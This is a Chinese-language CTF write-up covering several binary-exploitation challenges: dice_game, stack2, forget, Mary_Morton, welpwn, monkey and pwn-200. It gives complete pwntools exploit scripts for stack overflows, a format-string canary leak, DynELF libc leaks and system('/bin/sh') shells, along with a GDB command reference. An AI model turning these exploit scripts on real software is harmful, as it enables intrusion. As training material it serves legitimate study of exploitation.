他来了,他来了,他带着flag走来了。。。
001-dice_game 学到了python调用c的库函数的新知识。
给出了两个文件,一个是题目的文件,一个是库文件。库文件不是用来调用system的,而是用了调用随机数函数的。
这题是让你猜数,猜50次。
栈溢出可以修改随机数种子,预测接下来的50个数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *from ctypes import *context.log_level = 'debug' p=remote('220.249.52.133' ,30361 ) libc = cdll.LoadLibrary("libc.so.6" ) p.recvuntil("Welcome, let me know your name: " ) payload1 = 'a' *0x40 + p64(0 ) p.sendline(payload1) for i in range(50 ): p.recvuntil('Give me the point(1~6): ' ) p.sendline(str(libc.rand() % 6 + 1 )) p.recv() print p.recv()
cdll.LoadLibrary可以调用c的库函数,需要from ctypes import *
002-stack2 数组溢出+构造system(“sh”)。可以用到ROPgadget。
有好几次数组的调用,但是大多都限制了数组的下标,但是仍然存在一处未检测(menu=3的情况),可以实现数组溢出:
题目中存在一个hackhere,里面有system(“/bin/bash”);
可以写出如下脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 def f (addr, data ): p.sendlineafter('5. exit' , '3' ) p.sendlineafter('which number to change:' , str(addr)) p.sendlineafter('new number:' , str(data)) from pwn import *context.log_level = 'debug' p = process('./3fb1a42837be485aae7d85d11fbc457b' ) p.sendlineafter('How many numbers you have:' ,'1' ) p.sendlineafter('Give me your numbers' ,'1' ) hackhere = 0x804859B f(0x70 + 0x10 + 4 + 0 , 0x9B ) f(0x70 + 0x10 + 4 + 1 , 0x85 ) f(0x70 + 0x10 + 4 + 2 , 0x04 ) f(0x70 + 0x10 + 4 + 3 , 0x08 ) p.sendlineafter('5. exit' , '5' ) p.interactive()
还有一点,数组在栈中的偏移其实是0x70,但是ret之前有个lea esp, [ecx-4]
:
使得esp多了10个偏移。
GDB动调下:
很明显看出ESP的变化。具体的原因似乎很复杂??左转在PWN题中绕过lea esp以及关于Ret2dl的一些补充
本地可以打通,但是远程会这样:
听wp区的大佬说,出题人说本来是打docker镜像的时候,环境出了点问题,只有/bin/sh可以用。但是这样也能做题。
那我们就手动构造,调用system(“/bin/sh”);
“/bin/sh”可以用”sh”替代。/bin/bash的最后两个字符恰好是sh,并且后面是\x00。刚好满足需求。
当然也可以用ROPgadget来查找,不过需要注意\x00
1 2 3 4 ROPgadget --binary 3fb1a42837be485aae7d85d11fbc457b --string 'sh' Strings information 0x08048987 : sh 0x08048ab3 : sh
ROPgadget在Pwn中用于搜索汇编指令和字符串,安装方法: 1.安装python-capstone:apt-get install python-capstone 2.下载安装文件:git clone https://github.com/JonathanSalwan/ROPgadget.git 3.进入目录 :cd ROPgadget 4.运行安装脚本: python setup.py develop
使用方法: 1.搜索/bin/sh: ROPgadget –binary intoverflow “/bin/sh”
转张wp区大佬的system函数调用栈图:
栈中高地址->低地址的数据依次是:函数地址,函数返回地址,command参数。
写出脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 def f (addr, data ): p.sendlineafter('5. exit' , '3' ) p.sendlineafter('which number to change:' , str(addr)) p.sendlineafter('new number:' , str(data)) from pwn import *context.log_level = 'debug' p = remote('220.249.52.133' ,33381 ) p.sendlineafter('How many numbers you have:' ,'1' ) p.sendlineafter('Give me your numbers' ,'1' ) system_addr = 8048450 f(0x70 + 0x10 + 4 + 0 , 0x50 ) f(0x70 + 0x10 + 4 + 1 , 0x84 ) f(0x70 + 0x10 + 4 + 2 , 0x04 ) f(0x70 + 0x10 + 4 + 3 , 0x08 ) sh_str_addr = 0x08048987 f(0x70 + 0x10 + 4 + 8 + 0 , 0x87 ) f(0x70 + 0x10 + 4 + 8 + 1 , 0x89 ) f(0x70 + 0x10 + 4 + 8 + 2 , 0x04 ) f(0x70 + 0x10 + 4 + 8 + 3 , 0x08 ) p.sendlineafter('5. exit' , '5' ) p.interactive() ''' ROPgadget --binary 3fb1a42837be485aae7d85d11fbc457b --string 'sh' Strings information ============================================================ 0x08048987 : sh 0x08048ab3 : sh '''
注意此时调用的函数不是hackhere,而是system。
GDB的使用 基于上道题(stack2),我总结些GDB的使用。
运行下面的脚本(不要在vscode里面运行,会调用gdb失败)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 def f (addr, data ): p.sendlineafter('5. exit' , '3' ) p.sendlineafter('which number to change:' , str(addr)) p.sendlineafter('new number:' , str(data)) from pwn import *context.log_level = 'debug' p = gdb.debug('./3fb1a42837be485aae7d85d11fbc457b' , 'b *0x80488F2' ) p.sendlineafter('How many numbers you have:' ,'1' ) p.sendlineafter('Give me your numbers' ,'1' ) system_addr = 8048450 f(0x70 + 0x10 + 4 + 0 , 0x50 ) f(0x70 + 0x10 + 4 + 1 , 0x84 ) f(0x70 + 0x10 + 4 + 2 , 0x04 ) f(0x70 + 0x10 + 4 + 3 , 0x08 ) f(0x70 + 0x10 + 4 + 8 + 0 , 0x87 ) f(0x70 + 0x10 + 4 + 8 + 1 , 0x89 ) f(0x70 + 0x10 + 4 + 8 + 2 , 0x04 ) f(0x70 + 0x10 + 4 + 8 + 3 , 0x08 ) p.sendlineafter('5. exit' , '5' ) p.interactive()
最关键的是p = gdb.debug('./3fb1a42837be485aae7d85d11fbc457b', 'b *0x80488F2')
,在0x80488F2下断点,这是ret的地址。
一开始是这样的:
然后输入c,“继续”的意思。界面变成这样:
此时pwntools已经按照脚本把数据打进了程序里。同时,程序停在了ret处。可以看到划线处,表示的是下一个函数的地址。返回地址被修改成了system@plt.
此时输入n,单步运行。(如果是debug版本的,也可能会运行好几步。ni才是真正的单步运行。s是单步步入)。可以看到这样的界面:
这是这system的plt处。可以看到栈内的第二个数据是”sh”的地址。即可调用system(“sh”);
转一些GDB命令:
进入gdb调试环境 list n | list | list 函数名
l n | l | l 函数名
在调试过程中查看源文件,n为源文件的行号,每次显示10行。 list可以简写为l,不带任何参数的l表示从当前执行行查看。
注意:在(gdb)中直接回车,表示执行上一条命令。
start | s
开始执行程序,并main函数的停在第一条语句处。
(gdb)run|r
连续执行程序,直到遇到断点
(gdb)continue|c
继续执行程序,直到下个断点
(gdb)next|n
执行下一行语句
(gdb)step|s
进入正在执行的函数内部
(gdb)finish
一直执行到当前函数返回,即跳出当前函数,执行其调用函数
变量信息管理 (gdb)info 变量名|i 变量名|i locals
i变量名查看一个变量的值,i locals查看所有局部变量的值 修改变量的值
(gdb)set var 变量名=变量值
(gdb) print 表达式
打印表达式,通过表达式可以修改变量的值,p 变量名=变量值
(gdb)display 变量名
使得程序每次停下来都会显示变量的值
x/nbx 变量名
查看从变量名开始的n个字节,例x/7bx input 表示查看从变量input开始的7个内存单元的内容
x/10xw,x/10xg应该比较常用吧。
x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十六进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
c 按字符格式显示变量。
f 按浮点数格式显示变量。
b表示单字节,h表示双字节,w表示四字节,g表示八字节。
查看函数调用栈 (gdb)backtrace|bt
查看其调用函数的信息
(gdb)frame n|f n
n为栈的层次,然后可以用其他命令(info)查看此级别的变量信息
断点管理 设置断点
break n|break 函数名|b n| b 函数名|b n(函数名)if 条件
n为行号,添加if表示设置条件断点,只有条件为真时,才中断
查看断点
info breakpoints|i breakpoints
删除断点
delete breakpoints n
使断点失效
disable breakpoints n
使断点生效
enable breakpoints n
其中n为断点的序列号,可以用info breakpoints查看
观察点管理 断点是程序执行到某行代码是触发,观察点是程序访问某个内存单元时触发
(gdb)watch 变量名
当程序访问变量名指定的内存单元时,停止程序
info watchpoints|delete watchpoints
类似断点管理
退出gdb环境 (gdb)quit | q
003-forget 俩处读入,第一处限制读入32字符,无法利用,第二处是经典的栈溢出。
且存在cat flag
的函数:
所以只需要找机会调用此函数即可。
v3-v12均为函数地址,v14算是下标。
之后会调用这些函数:
所以我们可以利用前面说的栈溢出,覆盖掉v3-v12中的一处,覆盖为cat flag
的函数地址。
我这边选择了覆盖v3,因为v3在栈中 紧贴存在栈溢出漏洞的变量,对程序流程造成的未知影响的可能性最小。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.log_level = 'debug' io = remote('111.198.29.45' ,56968 ) io.recvuntil('> ' ) io.sendline('iyzyi' ) io.recvuntil('> ' ) cat_flag_addr = 0x80486CC payload = '/' *(0x74 -0x54 )+ p32(cat_flag_addr) io.sendline(payload) io.interactive()
为什么payload中使用字符/
呢?
因为程序流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 v14 = 1 ; v3 = sub_8048604; v4 = sub_8048618; v5 = sub_804862C; v6 = sub_8048640; v7 = sub_8048654; v8 = sub_8048668; v9 = sub_804867C; v10 = sub_8048690; v11 = sub_80486A4; v12 = sub_80486B8; ...省略细枝末节的代码... __isoc99_scanf("%s" , v2); for ( i = 0 ; ; ++i ){ v0 = i; if ( v0 >= strlen (v2) ) break ; switch ( v14 ) { case 1 : if ( sub_8048702(v2[i]) ) v14 = 2 ; break ; case 2 : if ( v2[i] == '@' ) v14 = 3 ; break ; case 3 : if ( sub_804874C(v2[i]) ) v14 = 4 ; break ; case 4 : if ( v2[i] == '.' ) v14 = 5 ; break ; case 5 : if ( sub_8048784(v2[i]) ) v14 = 6 ; break ; case 6 : if ( sub_8048784(v2[i]) ) v14 = 7 ; break ; case 7 : if ( sub_8048784(v2[i]) ) v14 = 8 ; break ; case 8 : if ( sub_8048784(v2[i]) ) v14 = 9 ; break ; case 9 : v14 = 10 ; break ; default : continue ; } } (*(&v3 + --v14))();
我们要想让程序执行v3处的函数(其实是被我们覆盖后的函数),就必须让最后一行的v14=1
(这样–v14的值就是0,所以就是运行v3处的函数),但是v14本来等于1,所以我们只需要在for循环中,不给它赋其他值的机会,所以我们要让下图这一步的if为假,如此便可break,v14还会保持为1。
上图中的函数如下:
即判断输入字符为:a-z0-9_-+.
所以我们可以输入一些不是上面的字符的字符,比如大写字母,比如特殊符号。
csdn中有人问为什么可以是A,但不可以是a,原因就在这里。
004-Mary_Morton 查看保护:
开了栈缓冲区保护和栈不可执行。
第一次遇到Stack:Canary found
的栈缓冲区保护的题目,查了下资料,原来原理是这样的:
在函数的开始,将一个fs的一个值压入栈内,最后ret的时候要要验证这个值是否发生改变:
如果我们使用常规的栈缓冲区溢出的漏洞,必然会覆盖掉这个值,从而无法通过验证。
主函数:
本题两个明显的漏洞:
所以思路就是通过格式化字符串拿到canary(就是我们前面提到的那个验证值),然后通过栈溢出构造payload。
轻松看出格式化字符串漏洞处的buf距离栈顶偏移6:
此时栈内buf为0x90,canary为0x08,二者偏移(0x90-0x08)/8=17,所以canary距离栈顶偏移17+6=23。
通过下图获取canary:
后半部分的栈溢出就不用讲了吧,很经典的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context.log_level = 'debug' i = remote('111.198.29.45' ,58197 ) elf = ELF('./22e2d7579d2d4359a5a1735edddef631' ) i.recvuntil('Exit the battle ' ) i.sendline('2' ) payload = '%23$p' i.sendline(payload) canary = i.recvuntil('\n1. Stack Bufferoverflow Bug' , drop=True ).strip() canary = int(canary, 16 ) print canaryi.recvuntil('Exit the battle ' ) i.sendline('1' ) cat_flag_addr = 0x4008DA payload = 'a' *(0x90 -0x08 ) + p64(canary) + 'a' *0x08 + p64(cat_flag_addr) i.sendline(payload) i.interactive()
注意第一部分获取canary,用的是%23$p
,而不是%23$x
,我就是被坑在这里。
32 位程序,%p 等同于 %08x;64 位程序,%p 等同于 %016llx。 也就是说,指针有多少字节他就输出多少字节。
顺便说一下一个和本体无关的知识点:canary的最后一个字节一定为0,所以爆破的话,32位只需爆破3位,64位只需爆破7位。
006-welpwn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import *context.log_level = 'debug' p = remote('220.249.52.133' ,57544 ) def leak (address ): pppr = 0x40089C ppppppr = 0x40089A mmmc = 0x400880 main = 0x4007CD rbx = 0 rbp = 1 r12 = got_write = 0x601020 rdx = r13 = 8 rsi = r14 = address rdi = r15 = 1 payload = 'a' * 0x10 + 'b' * 8 payload += p64(pppr) payload += p64(ppppppr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(mmmc) payload += 'c' * 8 * (6 + 1 ) + p64(main) p.recvuntil('Welcome to RCTF' ) p.sendline(payload) p.recv() data = p.recv(8 ) return data def f (system_addr ): pppr = 0x40089C ppppppr = 0x40089A mmmc = 0x400880 main = 0x4007CD bss_addr = 0x601070 rbx = 0 rbp = 1 r12 = got_read = 0x601038 rdx = r13 = 32 rsi = r14 = bss_addr rdi = r15 = 0 payload = 'a' * 0x10 + 'b' * 8 payload += p64(pppr) payload += p64(ppppppr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(mmmc) payload += 'c' * 8 * (6 + 1 ) payload += p64(0x4008a3 ) + p64(bss_addr+8 ) + p64(system_addr) p.recvuntil('Welcome to RCTF' ) p.sendline(payload) p.sendline(p64(system_addr) + '/bin/sh\x00' ) sleep(3 ) p.interactive() d = DynELF(leak, elf=ELF('./welpwn' )) system_addr = d.lookup('system' , 'libc' ) print 'system addr : ' + hex(system_addr)bss_addr = 0x601070 f(system_addr)
先贴我的脚本,题解打算详细点写,所以留到明天吧。
007-monkey 给出的附件几十M,名字是js。
评论区说是沙箱逃逸。
nc后输入os.system(“sh”)即可获得shell
长知识了。
009-pwn-200 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *context.log_level = 'debug' p = remote('220.249.52.133' ,33105 ) e = ELF('./pwn-200' ) write_plt = e.plt['write' ] read_plt = e.plt['read' ] start_addr = 0x80483d0 sub_8048484 = 0x8048484 bss_addr = e.bss() pppr_addr = 0x080485cd def leak (address ): payload = 'a' * 0x6c + 'b' * 0x4 payload += p32(write_plt) + p32(sub_8048484) + p32(1 ) + p32(address) + p32(4 ) p.sendline(payload) return p.recv(4 ) p.recvline('Welcome to XDCTF2015~!' ) d = DynELF(leak, elf=ELF('./pwn-200' )) system_addr = d.lookup('system' , 'libc' ) print 'system addr: ' + hex(system_addr)payload2 = 'a' * 0x6c + 'b' * 0x4 + p32(start_addr) p.sendline(payload2) print p.recv()payload = 'a' * 0x6c + 'b' * 0x4 payload += p32(read_plt) + p32(pppr_addr) + p32(0 ) + p32(bss_addr) + p32(8 ) payload += p32(system_addr) + p32(sub_8048484) + p32(bss_addr) p.sendline(payload) p.sendline('/bin/sh' ) p.interactive()